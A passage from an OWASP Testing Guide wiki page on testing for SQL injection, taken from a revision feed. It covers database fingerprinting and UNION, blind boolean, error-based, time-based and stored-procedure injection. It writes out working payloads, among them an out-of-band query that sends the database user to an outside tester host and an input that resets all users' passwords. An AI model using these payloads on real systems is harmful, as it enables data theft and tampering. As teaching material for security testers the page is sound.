&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10; INSERT INTO users (…)&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This way is possible to execute many queries in a row&lt;br /&gt;
and independent on the first query.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Fingerprinting the Database ===&lt;br /&gt;
 &lt;br /&gt;
Even the SQL language is a standard,&lt;br /&gt;
every DBMS has its peculiarity and differs from each other in many aspects like&lt;br /&gt;
especial commands, functions to retrieve data such as users names and&lt;br /&gt;
databases, features, comments line etc.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
When the testers move to a more advanced SQL injection&lt;br /&gt;
exploitation they need to know the backend.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
1) The first way to find out which is the backend is by&lt;br /&gt;
observing the error returned by the application. Follow are some examples:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
MySql:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
You have an error in your SQL syntax; check the manual&lt;br /&gt;
that corresponds to your MySQL server version for the&lt;br /&gt;
right syntax to use near '\'' at line 1&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Oracle:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
ORA-00933: SQL command not properly ended&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SQL Server:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Microsoft SQL Native Client error ‘80040e14’&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Unclosed quotation mark after the character string&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
PostgreSQL:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Query failed: ERROR: syntax error at or near&lt;br /&gt;
&amp;amp;quot;’&amp;amp;quot; at character 56 in /www/site/test.php on line 121.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
2) If there is no error message or a custom error message,&lt;br /&gt;
the tester can try to inject into string field using concatenation technique:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
MySql:  ‘test’ + ‘ing’&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SQL Server: ‘test’ ‘ing’&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Oracle: ‘test’||’ing’&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
PostgreSQL: ‘test’||’ing’&lt;br /&gt;
&lt;br /&gt;
==Exploitation techniques ==&lt;br /&gt;
 &lt;br /&gt;
=== Union Exploitation technique ===&lt;br /&gt;
  &lt;br /&gt;
The UNION operator is used&lt;br /&gt;
in SQL injections to join a query, purposely forged by the tester, to the&lt;br /&gt;
original query. The result of the forged query will be joined to the result of&lt;br /&gt;
the original query, allowing the tester to obtain the values of fields of other&lt;br /&gt;
tables. We suppose for our examples that the query executed from the server is&lt;br /&gt;
the following:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SELECT&lt;br /&gt;
Name, Phone, Address FROM Users WHERE Id=$id&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will set the following&lt;br /&gt;
Id value:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
$id=1&lt;br /&gt;
UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will have the following&lt;br /&gt;
query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SELECT&lt;br /&gt;
Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
which will join the result of the original query&lt;br /&gt;
with all the credit card users. The keyword '''ALL''' is necessary to get&lt;br /&gt;
around queries that use the keyword DISTINCT. Moreover, we notice that beyond&lt;br /&gt;
the credit card numbers, we have selected other two values. These two values&lt;br /&gt;
are necessary, because the two query must have an&lt;br /&gt;
equal number of parameters, in order to avoid a syntax error.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The first&lt;br /&gt;
information the tester need to exploit the SQL injection vulnerability using&lt;br /&gt;
such technique is to find the right numbers of columns in the SELECT statement.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In order to&lt;br /&gt;
achieve it the tester can use ORDER BY clause followed by a number indicating&lt;br /&gt;
the numeration of database’s column selected:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 ORDER BY 10--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
If the query executes with success the tester will see&lt;br /&gt;
the tester can assume, in this example, there are 10 or more columns in the&lt;br /&gt;
SELECT statement. If the query fails and there is an error message available&lt;br /&gt;
probably it would be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Unknown column '10' in 'order clause'&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
After the tester find out the numbers of columns, the&lt;br /&gt;
next step is to find out the type of columns. Assuming there were 3 columns in&lt;br /&gt;
the example above, the tester could try each column type, using the NULL value&lt;br /&gt;
to help them:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 UNION SELECT 1,null, null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
If the query fails, probably the tester will see a&lt;br /&gt;
message like:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
All cells in a column must have the same datatype&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
If the query executes with success, the first column&lt;br /&gt;
can be an integer. Then the tester can move further and so on:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
After the success exploitation, depending on the&lt;br /&gt;
application, it will show to the tester only the first result, because the&lt;br /&gt;
application treats only the first line of the result. In this case, it is&lt;br /&gt;
possible to use LIMIT like clause or the tester can set an invalid value,&lt;br /&gt;
making only the second line valid (supposing there is no entry in the database&lt;br /&gt;
which ID is 99999):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Boolean Exploitation technique ===&lt;br /&gt;
 &lt;br /&gt;
The Boolean exploitation technique is very useful when&lt;br /&gt;
the tester find a [[Blind SQL Injection]] situation, in&lt;br /&gt;
which nothing is known on the outcome of an operation. For example, this&lt;br /&gt;
behavior happens in cases where the programmer has created a custom error page&lt;br /&gt;
that does not reveal anything on the structure of the query or on the database.&lt;br /&gt;
(The page does not return a SQL error, it may just&lt;br /&gt;
return a HTTP 500). &amp;lt;br&amp;gt;&lt;br /&gt;
By using the inference methods, it is possible to avoid this obstacle and thus&lt;br /&gt;
to succeed to recover the values of some desired fields. This method consists&lt;br /&gt;
of carrying out a series of boolean&lt;br /&gt;
queries to the server, observing the answers and finally deducing the meaning&lt;br /&gt;
of such answers. We consider, as always, the www.example.com domain and we&lt;br /&gt;
suppose that it contains a parameter named id vulnerable to SQL injection. This&lt;br /&gt;
means that carrying out the following request:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?id=1'&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
we will get one page with a custom message error which&lt;br /&gt;
is due to a syntactic error in the query. We suppose that the query executed on&lt;br /&gt;
the server is:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='$Id' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
which is exploitable through the methods seen previously.&lt;br /&gt;
What we want to obtain is the values of the username field. The tests that we&lt;br /&gt;
will execute will allow us to obtain the value of the username field,&lt;br /&gt;
extracting such value character by character. This is possible through the use&lt;br /&gt;
of some standard functions, present practically in every database. For our&lt;br /&gt;
examples, we will use the following pseudo-functions:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''SUBSTRING (text, start, length)''': it returns a&lt;br /&gt;
substring starting from the position &amp;amp;quot;start&amp;amp;quot; of text and of length&lt;br /&gt;
&amp;amp;quot;length&amp;amp;quot;. If &amp;amp;quot;start&amp;amp;quot; is greater than the length of text,&lt;br /&gt;
the function returns a null value.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''ASCII (char)''': it gives back ASCII value of the input character. A&lt;br /&gt;
null value is returned if char is 0.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''LENGTH (text)''': it gives back the length in characters of the input&lt;br /&gt;
text.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Through such functions, we will execute our tests on&lt;br /&gt;
the first character and, when we have discovered the value, we will pass to the&lt;br /&gt;
second and so on, until we will have discovered the entire value. The tests&lt;br /&gt;
will take advantage of the function SUBSTRING, in order to select only one&lt;br /&gt;
character at a time (selecting a single character means to impose the length&lt;br /&gt;
parameter to 1), and the function ASCII, in order to obtain the ASCII value, so&lt;br /&gt;
that we can do numerical comparison. The results of the comparison will be done&lt;br /&gt;
with all the values of the ASCII table, until the right value is found. As an&lt;br /&gt;
example, we will use the following value for ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
that creates the following query (from now on, we will&lt;br /&gt;
call it &amp;amp;quot;inferential query&amp;amp;quot;):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
The previous example returns a result if and only if&lt;br /&gt;
the first character of the field username is equal to the ASCII value 97. If we&lt;br /&gt;
get a false value, then we increase the index of the ASCII table from 97 to 98&lt;br /&gt;
and we repeat the request. If instead we obtain a true value, we set to zero&lt;br /&gt;
the index of the ASCII table and we analyze the next character, modifying the&lt;br /&gt;
parameters of the SUBSTRING function. The problem is to understand in which way&lt;br /&gt;
we can distinguish tests returning a true value from those that return false.&lt;br /&gt;
To do this, we create a query that always returns false. This is possible by&lt;br /&gt;
using the following value for ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND '1' = '2 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
by which will create the following query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
The obtained response from the server (that is HTML&lt;br /&gt;
code) will be the false value for our tests. This is enough to verify whether&lt;br /&gt;
the value obtained from the execution of the inferential query is equal to the&lt;br /&gt;
value obtained with the test executed before. Sometimes, this method does not&lt;br /&gt;
work. If the server returns two different pages as a result of two identical&lt;br /&gt;
consecutive web requests, we will not be able to discriminate the true value&lt;br /&gt;
from the false value. In these particular cases, it is necessary to use&lt;br /&gt;
particular filters that allow us to eliminate the code that changes between the&lt;br /&gt;
two requests and to obtain a template. Later on, for every inferential request&lt;br /&gt;
executed, we will extract the relative template from the response using the&lt;br /&gt;
same function, and we will perform a control between the two templates in order&lt;br /&gt;
to decide the result of the test.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In the previous discussion, we haven't dealt with the&lt;br /&gt;
problem of determining the termination condition for out tests, i.e., when we&lt;br /&gt;
should end the inference procedure. A techniques to do&lt;br /&gt;
this uses one characteristic of the SUBSTRING function and the LENGTH function.&lt;br /&gt;
When the test compares the current character with the ASCII code 0 (i.e., the&lt;br /&gt;
value null) and the test returns the value true, then either we are done with&lt;br /&gt;
the inference procedue (we have scanned the whole&lt;br /&gt;
string), or the value we have analyzed contains the null character.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will insert the following value for the field ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND LENGTH(username)=N AND '1' = '1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
Where N is the number of characters that we have&lt;br /&gt;
analyzed up to now (not counting the null value). The query will be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
The query returns either true or false. If we obtain&lt;br /&gt;
true, then we have completed inference and, therefore, we know the value of the&lt;br /&gt;
parameter. If we obtain false, this means that the null character is present in&lt;br /&gt;
the value of the parameter, and we must continue to analyze the next parameter&lt;br /&gt;
until we find another null value.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The blind SQL injection attack needs a high volume of&lt;br /&gt;
queries. The tester may need an automatic tool to exploit the vulnerability.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Error based Exploitation technique ===&lt;br /&gt;
  &lt;br /&gt;
The Error based&lt;br /&gt;
exploitation technique is useful when the tester for some reason can’t exploit&lt;br /&gt;
the SQL injection vulnerability using other technique such as UNION. The Error&lt;br /&gt;
based technique consists in forcing the database to perform some operation in&lt;br /&gt;
which the result will be an error. The point here is to try to extract some&lt;br /&gt;
data from the database and show it in the error message. This exploitation&lt;br /&gt;
technique can be different from DBMS to DBMS (check DBMS specific session).&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the&lt;br /&gt;
query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be (e.g. Oracle 10g):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this&lt;br /&gt;
example, the tester is concatenating the value 10 with the result of the&lt;br /&gt;
function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the&lt;br /&gt;
hostname of the parameter passed to it, which is other query, the name of the&lt;br /&gt;
user. When the database looks for a hostname with the user database name, it&lt;br /&gt;
will fail and return an error message like:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
ORA-292257:&lt;br /&gt;
host SCOTT unknown&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Then the tester&lt;br /&gt;
can manipulate the parameter passed to GET_HOST_NAME()&lt;br /&gt;
function and the result will be shown in the error message.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Out of band Exploitation technique ===&lt;br /&gt;
  &lt;br /&gt;
This technique&lt;br /&gt;
is very useful when the tester find a [[Blind SQL Injection]] situation, in&lt;br /&gt;
which nothing is known on the outcome of an operation. The technique consists in&lt;br /&gt;
the use of DBMS functions to perform an out of band connection and deliver the&lt;br /&gt;
results of the injected query as part of the request to the tester’s server.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Like the error&lt;br /&gt;
based techniques, each DBMS has its own functions. Check for specific DBMS&lt;br /&gt;
section.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SELECT * FROM products WHERE id_product=$id_product&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the&lt;br /&gt;
query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELET user FROM DUAL)--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this&lt;br /&gt;
example, the tester is concatenating the value 10 with the result of the&lt;br /&gt;
function UTL_HTTP.request. This Oracle function will&lt;br /&gt;
try to connect to ‘testerserver’ and make a HTTP GET&lt;br /&gt;
request containing the return from the query “SELECT user FROM DUAL”.  The tester can set up a webserver&lt;br /&gt;
(e.g. Apache) or use the Netcat tool:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
/home/tester/nc –nLp 80&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
GET /SCOTT HTTP/1.1&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Host: testerserver.com&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Connection: close&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
=== Time day Exploitation technique ===&lt;br /&gt;
  &lt;br /&gt;
The Boolean&lt;br /&gt;
exploitation technique is very useful when the tester find a [[Blind SQL Injection]] situation, in&lt;br /&gt;
which nothing is known on the outcome of an operation. This technique consists&lt;br /&gt;
in sending an injected query and in case the conditional is true, the tester&lt;br /&gt;
can monitor the time taken to for the server to respond. If there is a delay,&lt;br /&gt;
the tester can assume the result of the conditional query is true. This&lt;br /&gt;
exploitation technique can be different from DBMS to DBMS (check DBMS specific&lt;br /&gt;
session)&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SELECT * FROM products WHERE id_product=$id_product&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the&lt;br /&gt;
query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be (e.g. MySql 5.x):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this example&lt;br /&gt;
the tester if checking whether the MySql version is&lt;br /&gt;
5.x or not, making the server to delay the answer in 5 seconds. The tester can&lt;br /&gt;
increase the delay’s time and monitor the responses. The tester also doesn’t&lt;br /&gt;
need to wait for the response. Sometimes he can set a very high value (e.g.&lt;br /&gt;
100) and cancel the request after some seconds.&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
=== Stored Procedure Injection ===&lt;br /&gt;
  &lt;br /&gt;
When using dynamic SQL within a stored procedure, the application must&lt;br /&gt;
properly sanitize the user input to eliminate the risk of code injection. If&lt;br /&gt;
not sanitized, the user could enter malicious SQL that will be executed within&lt;br /&gt;
the stored procedure.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following '''SQL Server Stored Procedure:'''&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Create&lt;br /&gt;
procedure user_login @username varchar(20), @passwd varchar(20) As&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Declare @sqlstring varchar(250)&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Set @sqlstring  = ‘&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Select 1&lt;br /&gt;
from users&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Where&lt;br /&gt;
username = ‘ + @username + ‘ and passwd&lt;br /&gt;
= ‘ + @passwd&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
exec(@sqlstring)&lt;br /&gt;
Go&lt;br /&gt;
User input:&lt;br /&gt;
anyusername or 1=1'&lt;br /&gt;
anypassword&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This procedure does not sanitize the input, therefore allowing the&lt;br /&gt;
return value to show an existing record with these&lt;br /&gt;
parameters.&amp;lt;br&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a&lt;br /&gt;
user, but consider a dynamic reporting query where the user selects the columns&lt;br /&gt;
to view. The user could insert malicious code into this scenario and compromise&lt;br /&gt;
the data. &amp;lt;br&amp;gt;&lt;br /&gt;
Consider the following '''SQL Server Stored Procedure:'''&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Create&lt;br /&gt;
procedure get_report @columnamelist varchar(7900)&lt;br /&gt;
As&lt;br /&gt;
Declare @sqlstring varchar(8000)&lt;br /&gt;
Set @sqlstring  = ‘&lt;br /&gt;
Select ‘ + @columnamelist + ‘ from ReportTable‘&lt;br /&gt;
exec(@sqlstring)&lt;br /&gt;
Go&lt;br /&gt;
 &lt;br /&gt;
User input:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
1 from&lt;br /&gt;
users; update users set password = 'password'; select *&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This will result in the report running and all users’ passwords being&lt;br /&gt;
updated.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Automated Exploitation ===&lt;br /&gt;
 &lt;br /&gt;
Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester&lt;br /&gt;
can find information how to perform an automated auditing using SQLMap.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
https://www.owasp.org/index.php/Automated_Audit_using_SQLMa&lt;br /&gt;
&lt;br /&gt;
    &lt;br /&gt;
== Related Articles ==&lt;br /&gt;
&lt;br /&gt;
* [[Top 10 2007-Injection Flaws]]&lt;br /&gt;
* [[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Technology specific Testing Guide pages have been created for the following DBMSs:&lt;br /&gt;
&lt;br /&gt;
* [[Testing for Oracle| Oracle]]&lt;br /&gt;
* [[Testing for MySQL| MySQL]]&lt;br /&gt;
* [[Testing for SQL Server  | SQL Server]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Victor Chapela: &amp;quot;Advanced SQL Injection&amp;quot; - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt&lt;br /&gt;
* Chris Anley: &amp;quot;Advanced SQL Injection In SQL Server Applications&amp;quot; - http://www.thomascookegypt.com/holidays/pdfpkgs/931.pdf&lt;br /&gt;
* Chris Anley: &amp;quot;More Advanced SQL Injection&amp;quot; - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf&lt;br /&gt;
* David Litchfield: &amp;quot;Data-mining with SQL Injection and Inference&amp;quot; - http://www.databasesecurity.com/webapps/sqlinference.pdf&lt;br /&gt;
* Imperva: &amp;quot;Blinded SQL Injection&amp;quot; - https://www.imperva.com/lg/lgw.asp?pid=369&lt;br /&gt;
* Ferruh Mavituna: &amp;quot;SQL Injection Cheat Sheet&amp;quot; - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/&lt;br /&gt;
* Kevin Spett from SPI Dynamics: &amp;quot;SQL Injection&amp;quot; - http://packetstorm.codar.com.br/papers/general/SQLInjectionWhitePaper.pdf&lt;br /&gt;
* Kevin Spett from SPI Dynamics: &amp;quot;Blind SQL Injection&amp;quot; - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* SQL Injection Fuzz Strings (from wfuzz tool) - http://yehg.net/lab/pr0js/pentest/wordlists/injections/SQL.txt&lt;br /&gt;
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]&lt;br /&gt;
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector]&amp;lt;br&amp;gt;&lt;br /&gt;
* ilo--, Reversing.org - [http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html sqlbftools]&amp;lt;br&amp;gt;&lt;br /&gt;
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/&lt;br /&gt;
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]&lt;br /&gt;
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/pangolin.html Pangolin]&lt;br /&gt;
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/&lt;br /&gt;
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://sqldumper.ruizata.com/ SqlDumper]&amp;lt;br&amp;gt;&lt;br /&gt;
* http://sqlsus.sourceforge.net&lt;br /&gt;
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl&lt;/div&gt;</summary>
		<author><name>Ismael Rocha</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=140051</id>
		<title>Testing for SQL Injection (OTG-INPVAL-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=140051"/>
				<updated>2012-11-21T23:05:14Z</updated>
		
		<summary type="html">&lt;p&gt;Ismael Rocha: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
                &lt;br /&gt;
==Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
An [[SQL injection]] attack consists of insertion or&lt;br /&gt;
&amp;amp;quot;injection&amp;amp;quot; of a SQL query via the input data from the client to the&lt;br /&gt;
application. A successful SQL injection exploit can read sensitive data from&lt;br /&gt;
the database, modify database data (insert/update/delete), execute&lt;br /&gt;
administration operations on the database (such as shutdown the DBMS), recover&lt;br /&gt;
the content of a given file existing on the DBMS file system or write files into&lt;br /&gt;
the file system, and, in some cases, issue commands to the operating system.&lt;br /&gt;
SQL injection attacks are a type of [[injection attack]], in which SQL commands are injected into data-plane input in order to&lt;br /&gt;
affect the execution of predefined SQL commands.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==Description of the Issue ==&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In general the way web&lt;br /&gt;
applications construct SQL statements involving SQL syntax wrote by the&lt;br /&gt;
programmers mixed with user-supplied data. Example:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
 select title, text from news where id=$id&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The red part is the SQL static&lt;br /&gt;
part supplied by the programmer and the variable $id contains user-supplied&lt;br /&gt;
data, making the SQL statement dynamic.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Because the way it was&lt;br /&gt;
constructed, the user can supply crafted input trying to make the original SQL&lt;br /&gt;
statement execute commands at user’s behavior. The example illustrates the&lt;br /&gt;
user-supplied data “10 or 1=1”, changing the logic of the SQL statement,&lt;br /&gt;
modifying the WHERE clause adding a condition “or 1=1”.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
select title, text from news where id=10 or 1=1&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SQL Injection attacks can&lt;br /&gt;
be divided into the following three classes:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
* Inband: data is extracted using the same      channel that is used to inject the SQL code. This is the most      straightforward kind of attack, in which the retrieved data is presented      directly in the application web page.&lt;br /&gt;
* Out-of-band: data is retrieved using a      different channel (e.g., an email with the results of the query is      generated and sent to the tester).&lt;br /&gt;
* Inferential: there is no actual transfer      of data, but the tester is able to reconstruct the information by sending      particular requests and observing the resulting behavior of the DB Server.&lt;br /&gt;
 &lt;br /&gt;
Independent of the attack&lt;br /&gt;
class, a successful SQL Injection attack requires the attacker to craft a&lt;br /&gt;
syntactically correct SQL Query. If the application returns an error message&lt;br /&gt;
generated by an incorrect query, then it is easy to reconstruct the logic of&lt;br /&gt;
the original query and, therefore, understand how to perform the injection&lt;br /&gt;
correctly. However, if the application hides the error details, then the tester&lt;br /&gt;
must be able to reverse engineer the logic of the original query. The latter&lt;br /&gt;
case is known as &amp;amp;quot;[[Blind SQL Injection]]&amp;amp;quot;.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
About the techniques to&lt;br /&gt;
